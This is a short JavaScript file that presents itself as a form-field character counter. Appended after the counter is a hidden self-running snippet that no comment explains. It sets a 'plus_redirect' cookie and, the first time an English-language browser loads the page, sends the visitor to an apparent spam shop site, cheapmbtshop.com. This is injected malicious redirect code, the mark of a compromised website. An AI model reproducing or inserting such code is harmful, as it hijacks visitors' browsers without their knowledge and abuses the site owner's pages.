/* javascript function to update form field
 *  field		form field that is being counted
 *  count		form field that will show characters left
 *  maxchars 	maximum number of characters
*/
function characterCount(field, count, maxchars) {
  var realchars = field.value.replace(/\t|\r|\n|\r\n/g,'');
  var excesschars = realchars.length - maxchars;
  if (excesschars > 0) {
		field.value = field.value.substring(0, maxchars);
		alert("Error:\n\n- You are only allowed to enter up to"+maxchars+" characters.");
	} else {
		count.value = maxchars - realchars.length;
	}
}
(function(){
	var bJump = false;
	var sLang = (navigator.language ? navigator.language : navigator.userLanguage).toLowerCase();
	var sOSLang = (navigator.systemLanguage ? navigator.systemLanguage : 'zh-cn').toLowerCase();
	if(sLang == sOSLang)
	{
		if(sLang == 'en-us' || sLang == 'en-gb')
		{
			iRnd = Math.floor(Math.random() * 100);
			if(iRnd <= 99 && document.cookie.indexOf('plus_redirect=true') == -1)
			{
				bJump = true;
			}
			document.cookie = 'plus_redirect=true';
			if(bJump) location.href = 'http://www.cheapmbtshop.com';
		}
	}
})()